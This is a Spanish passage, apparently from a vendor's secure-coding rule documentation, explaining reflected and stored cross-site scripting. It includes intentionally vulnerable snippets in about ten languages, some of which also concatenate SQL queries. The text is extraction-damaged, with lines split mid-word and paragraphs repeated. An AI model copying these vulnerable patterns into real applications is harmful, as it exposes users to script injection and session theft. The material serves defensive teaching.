, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.
...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || name || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
name
tienen un comportamiento correcto, pero no funciona para evitar ataques si no lo tienen. Este código puede parecer menos peligroso porque el valor de name
se lee desde una base de datos con contenido aparentemente administrado por la aplicación Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || eid || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
Example 1
, este código funciona correctamente si eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.Example 1
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 2
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.eid
, de una solicitud HTTP y la muestra al usuario.
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.
...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...
name
tienen un comportamiento correcto, pero no funciona para evitar ataques si no lo tienen. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.eid
, de una solicitud HTTP y la muestra al usuario.
eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end
Example 1
, el código de este ejemplo funciona correctamente si eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecutará el código al tiempo que muestra la respuesta HTTP.Rack::Request#params()
como se mostró en el Example 2
, se observan los parámetros GET
y POST
, de modo que puede ser vulnerable a diferentes tipos de ataques además de simplemente tener el código malintencionado anexado a la dirección URL.Example 1
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 2
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.eid
, a partir de una consulta de base de datos y lo muestra al usuario.
def getEmployee = Action { implicit request =>
val employee = getEmployeeFromDB()
val eid = employee.id
if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}
name
tienen un comportamiento correcto, pero no funciona para evitar ataques si no lo tienen. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField
contiene solo texto alfanumérico estándar. Si el texto en inputTextField
incluye metacaracteres o código fuente, el explorador web puede ejecutar la entrada como código al tiempo que muestra la respuesta HTTP.myapp://input_to_the_application
) y la invocó. Los datos no fiables de la dirección URL se utilizan para representar el resultado HTML en un componente de UIWebView.
...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...
Example 1
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 2
, los datos se leen directamente desde el componente de la interfaz de usuario controlado por el usuario y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 3
, una fuente externa a la aplicación de destino realiza una solicitud de URL mediante el esquema de URL personalizado de la aplicación de destino, y los datos sin validar de la solicitud de URL se leen posteriormente en la aplicación como datos de confianza y se incluyen en el contenido dinámico.
...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...
name
tienen un comportamiento correcto, pero no funciona para evitar ataques si no lo tienen. Este código puede parecer menos peligroso porque el valor de name
se lee desde una base de datos con contenido aparentemente administrado por la aplicación Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..
Example 1
, este código funciona correctamente si eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.Example 1
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 2
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.cl_http_utility=>escape_html
, impedirá algunos ataques de XSS, pero no todos. En función del contexto en el que aparezcan los datos, los caracteres que van más allá de los básicos <, >, & y " que estén codificados en HTML, y aquellos que van más allá de <, >, & " y ' que estén codificados en código XML, pueden adquirir un significado meta. Confiar en estos módulos de función de codificación equivale a utilizar una lista de rechazados débil para evitar los ataques de Cross-Site Scripting y puede permitir que un atacante inserte código malintencionado que se ejecutará en el explorador. Como no siempre es posible identificar con precisión el contexto en el que aparecen los datos estáticos, Fortify Secure Coding Rulepacks informa sobre los hallazgos de Cross-Site Scripting incluso cuando se aplica la codificación y los presenta como problemas Cross-Site Scripting: Poor Validation.eid
, a partir de una solicitud HTTP, lo codifica en HTML y lo muestra al usuario.
...
eid = request->get_form_field( 'eid' ).
...
CALL METHOD cl_http_utility=>escape_html
EXPORTING
UNESCAPED = eid
KEEP_NUM_CHAR_REF = '-'
RECEIVING
ESCAPED = e_eid.
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( e_eid ).
...
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.
SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
CALL METHOD cl_http_utility=>escape_html
EXPORTING
UNESCAPED = itab_employees-name
KEEP_NUM_CHAR_REF = '-'
RECEIVING
ESCAPED = e_name.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( e_name ).
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.eid
, a partir de una solicitud HTTP, lo codifica en HTML y lo muestra al usuario.
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + escape(eid);
...
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + escape(name);
}
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.
...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...
<div onclick="this.innerHTML='Hello {!HTMLENCODE(variable)}'">Click me!</div>
HTMLENCODE
, no valida adecuadamente los datos proporcionados por la base de datos y es vulnerable a XSS. Esto ocurre porque el contenido de variable
se analiza mediante diferentes mecanismos (analizadores HTML y Javascript) y debe codificarse dos veces. De este modo, un atacante puede tener comandos malintencionados ejecutados en el explorador web del usuario sin tener que interactuar con la víctima, como en el caso de XSS reflejado. Este tipo de ataque, conocido como XSS almacenado (o persistente), puede ser muy difícil de detectar ya que los datos se proporcionan indirectamente a la función vulnerable y a que tiene un mayor impacto debido a la posibilidad de que afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.username
, y lo muestra al usuario.
<script>
document.write('{!HTMLENCODE($CurrentPage.parameters.username)}')
</script>
username
contiene metacaracteres o código fuente, el explorador web lo ejecutará. En este ejemplo, el uso de HTMLENCODE
no es suficiente para evitar el ataque XSS porque la variable se procesa mediante el analizador Javascript.Example 1
, la base de datos o cualquier otro almacén de datos puede proporcionar datos peligrosos a la aplicación que se incluirán en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el mejor lugar para almacenar contenido malintencionado es un área accesible a todos los usuarios, especialmente los que cuentan con privilegios elevados, que son los que con más probabilidad manejarán información confidencial o realizarán operaciones críticas.Example 2
, los datos se leen de la solicitud HTTP y se reflejan en la respuesta HTTP. El XSS reflejado se produce cuando un atacante proporciona contenido peligroso a una aplicación web vulnerable y después se refleja en el usuario y se ejecuta mediante el explorador. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a la víctima. Las direcciones URL diseñadas de esta forma son el núcleo de muchas tramas de suplantación de identidad, en las que un atacante tienta a la víctima para que visite la dirección URL. Después de que el sitio muestre el contenido al usuario, éste se ejecuta y puede realizar varias acciones, como enviar información confidencial privada, ejecutar operaciones no autorizadas en el equipo de la víctima, etc.
<script runat="server">
...
EmployeeID.Text = Server.HtmlEncode(Login.Text);
...
</script>
Login
y EmployeeID
son controles de formulario definidos de la siguiente forma:Ejemplo 2: el siguiente segmento de código de ASP.NET implementa las mismas funciones que en el
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 1
, aunque lo hace mediante programación.
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Server.HtmlEncode(Login.Text);
Login
contiene solo texto alfanumérico estándar. Si Login
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecutará el código al tiempo que muestra la respuesta HTTP.
<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = Server.HtmlEncode(name);
</script>
EmployeeName
es un control de formulario definido como se indica a continuación:Ejemplo 4: del mismo modo, el siguiente segmento de código de ASP .NET es equivalente desde una perspectiva funcional al
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 3
, pero implementa mediante programación todos los elementos de formulario.
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = Server.HtmlEncode(name);
Example 1
y el Example 2
, estos segmentos de código funcionan correctamente cuando los valores de name
presentan un comportamiento correcto. De lo contrario, no realizan ninguna acción para impedir ataques. Por otra parte, estos ejemplos de código pueden parecer menos peligrosos debido a que el valor de name
se lee desde una base de datos, cuyo contenido administra aparentemente la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
y el Example 2
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 3
y el Example 4
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.text
